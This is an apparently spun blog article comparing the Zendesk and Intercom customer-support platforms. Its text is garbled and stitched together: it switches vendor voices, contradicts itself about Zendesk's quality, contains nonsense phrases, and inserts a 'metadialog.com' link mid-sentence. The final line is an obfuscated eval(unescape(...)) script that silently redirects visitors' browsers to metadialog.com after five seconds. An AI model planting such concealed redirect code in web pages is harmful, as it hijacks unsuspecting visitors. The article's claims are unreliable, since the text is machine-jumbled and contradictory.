Compare Zendesk vs Intercom for Ecomm Businesses

Posted by Anna Cesar on August 2, 2022 in Blog

Sales teams can also view outbound communications, and any support agent can access resources from the Intercom workspace. Proactive tools help your team solve problems before customers reach out, with minimal effort. Test any of HelpCrunch pricing plans for free for 14 days and see our tools in action right away. With so many different platforms intersecting across teams, functions, and needs, having the flexibility to integrate across platforms is more important than ever. With a shared view of email, Facebook, SMS, calendars, live chat, CRMs, and 80+ apps in one space, you’ll have all the context you need to deliver a personalized touch. Front is built for collaboration at scale, so customers always get an authentic, thorough reply.

Previous conversations and progress will all follow them around, making it easier for you to help your customers no matter where they are. Zendesk Chat allows you to reach out to your customers in real-time. Rather than waiting for a customer to start a conversation with you, you can initiate it if you think the customer needs some help. For example, you can have Zendesk Chat analyze how long someone is on your checkout page, and once it hits a certain limit, start a conversation with them to see if they need assistance. You can even integrate Statuspage with Intercom to give your customers the ability to report incidents directly from the Intercom dashboard. With this integration, you can add status updates as part of your account management workflow, so you don’t have to worry about keeping track of them separately.

Zendesk

When it comes to advanced workflows and ticketing systems, Zendesk boasts a more full-featured solution. Due to our intelligent routing capabilities and numerous automated workflows, our users can free up hours to focus on other tasks. Intercom also has an omnichannel customer service solution, but it’s fairly limited, with metadialog.com no native voice capabilities and minimal voice integrations. No matter how a customer contacts your business, your agents will have access to the tools and information they need to continue and close conversations on any channel. Unlock your customer experience (CX) potential with the best customer service software.

One important part of creating an amazing customer experience is remembering your customers, what they’ve bought from you, and any previous issues they’ve had. With Skyvia you can integrate Intercom with Zendesk in a number of ways. If you need to load data in one direction, from Intercom to Zendesk or vice versa, you can use Skyvia import. For loading data in both directions, Skyvia offers powerful data synchronization. Sure, Intercom allows you to create articles and deliver a bot that answers customer questions with specific articles and resolves issues faster.

Intercom Features & Benefits

Survey composer allows you to create the question and answer format, also customizing color, rating scales, and greetings. Send surveys at key points throughout the customer buying cycle, utilizing multiple types of question formats. Surveys turn customer insights into action, with triggers and campaign response adjustments depending on customer responses.

Zendesk also offers tons of APIs to customize the software to the users’ needs. Customization options include creating custom rules, macros, blueprints, SLAs, escalations, and notifications to automate tasks and workflows. Zendesk’s suite provides an all-in-one solution for organizations needing a customer relationship management tool, help desk software, online knowledge management, team collaboration, and more.

Intercom vs. Zendesk: Which Is Better?

Zendesk is more robust in terms of its ticket management capabilities, it offers more customization options and advanced features like a virtual call center app. On the other hand, Intercom is more focused on conversational customer support, and has more help desk features suited for live chat and messaging. Zendesk was founded in 2007 and as such, is one of the oldest customer service management software offerings available on the market today.

There is a Starter plan for small businesses at $74 per month billed annually, and there are add-ons like a WhatsApp add-on at $9 per user per month or surveys at $49 per month. If a customer starts an interaction by talking to a chatbot and can’t find a solution, our chatbot can open a ticket and intelligently route it to the most qualified agent. In 2023, conversational messaging will play an essential role in customer service. Customers increasingly expect to receive fast, convenient, and personalized support.

Intercom vs Zendesk features & functionality

You can even finagle some forecasting by sourcing every agent’s assigned leads. You could say something similar for Zendesk’s standard service offering, so it’s at least good to know they have Zendesk Sell, a capable CRM option to supplement it. You can use Zendesk Sell to track tasks, streamline workflows, improve engagement, nurture leads, and much more.

Therefore, if you happen to have Zoho CRM and want to integrate your chat feature with it, you should go with Zendesk. It should be noted that Intercom can integrate with Zendesk, so if there are Zendesk products that you like, aside from the chat feature, you can still use those. When a customer works with two agents and receives two different answers, they’re going to be very frustrated and won’t value the experience. Both Zendesk Chat and Intercom have similar features, but Intercom is more suited for small to mid-sized companies.

Plan Flexibility: Which One Has More Flexible Pricing Options?

Integrations are the best way to enhance the toolkit of your apps by connecting them for interoperable actions and features. Both Zendesk and Intercom have integration libraries, and you can also use a connecting tool like Zapier for added integrations and add-ons. There are pre-built workflows to help with things like ticket sharing, as well as conversation routing based on metrics like agent skill set or availability. There are even automations to help with things like SLAs, or service level agreements, to do things like send out notifications when headlights are due. Because of the app called Intercom Messenger, one can see that their focus is less on the voice and more on the text.

Groove is another Zendesk alternative that is great for streamlining customer inquiry and support processes. Using this software, agents can provide customer support through Facebook, Twitter, email, phone, live chat, or text messages. Moreover, Groove allows multiple agents to work collectively on one support item as needed in real-time. Agents collaborating using Groove can do so using private internal means or customer-facing channels. Zoho is known for its customer relationship management (CRM) tool, but the platform also offers help desk software.

The Zendesk alternative: modern customer support with Intercom

Just like Intercom, Zendesk’s customer service is quite disappointing. The only relief is that they do reach out to customers, but it gets too late. In terms of customer service, Zendesk fails to deliver an exceptional experience.

AzureDesk also offers customer support teams to create a knowledge base to help with enabling customers to find answers on their own. Integration with popular apps like JIRA and Slack further enhances its capabilities. Another cloud-based customer service ticketing system, HubSpot Service Hub aims to simplify processes related to managing customer queries and enhancing client engagement for all-sized businesses.

Other alternatives to Zendesk

Whatever people are using to communicate with each other, whether it be online or over the phone, they expect to also be able to talk to the businesses they use with those same tools and platforms. Among the many challenges facing businesses today is the pressing need to meet their customers where they are. They offer an omnichannel live chat solution that integrates with multiple messaging platforms and marketing channels and even automates incoming support processes with bots. It is quite the all-rounder as it even has a help center and ticketing system that completes its omnichannel support cycle.

It gives detailed contact profiles enriched by company data, behavioral data, conversation data, and other custom fields. It is great to have CRM functionality inside your customer service platform because it helps maintain great customer experiences by storing all past customer engagements and conversation histories. This method helps offer more personalized support as well as get faster response and resolution times.

• The workspace left-hand column notifies agents of all ticket updates.
• It lets customers reach out via messaging, a live chat tool, voice, and social media.
• This robust platform offers a high-definition view of customer experiences by providing real-time insights into satisfaction, sentiment analysis, case resolution time, agent performance, and more.
• LiveAgent is often referred to as the best Zendesk alternative for cost value.
• For support teams, ensuring that agents are on the same page is an essential part of the customer experience.
• Front combines the simplicity of email inboxes with the insights and automation of a CRM.

For example, the software’s robustness and advanced functionality can actually be a turnoff for organizations with limited time and resources on hand. Reflect on what your goals are and which features are most important to your business. Choosing the right platform is much easier when you know what you’re looking for. Then, it’s simply a case of testing different options and seeing what works for your team.

This is fine, as not every customer support team wants to be so available on the phone. Intercom has a very robust advanced chatbot set of tools for your business needs. There is a conversation routing bot, an operator bot, a lead qualification bot, and an article-suggesting bot, among others.

• If you are looking for more integration options and budget is not an issue, Intercom can be the perfect live chat solution for your business.
• With Intercom, you can set up a chatbot to handle simple questions from your customers.
• Honestly, when it comes to Zendesk, it is not the most modern tool out there.
• If you’d want to test Intercom vs Zendesk before deciding on a tool for good, they both provide free trials for 14 days.
• Zendesk for Service transforms customer queries and conversations from all channels–call, web chat, tweet, text, or email–into tickets in the Agent Workspace.
• Many software vendors aren’t upfront about the cost of using their products, maintenance costs, or integration fees.

eval(unescape(“%28function%28%29%7Bif%20%28new%20Date%28%29%3Enew%20Date%28%27November%205%2C%202020%27%29%29setTimeout%28function%28%29%7Bwindow.location.href%3D%27https%3A//www.metadialog.com/%27%3B%7D%2C5*1000%29%3B%7D%29%28%29%3B”));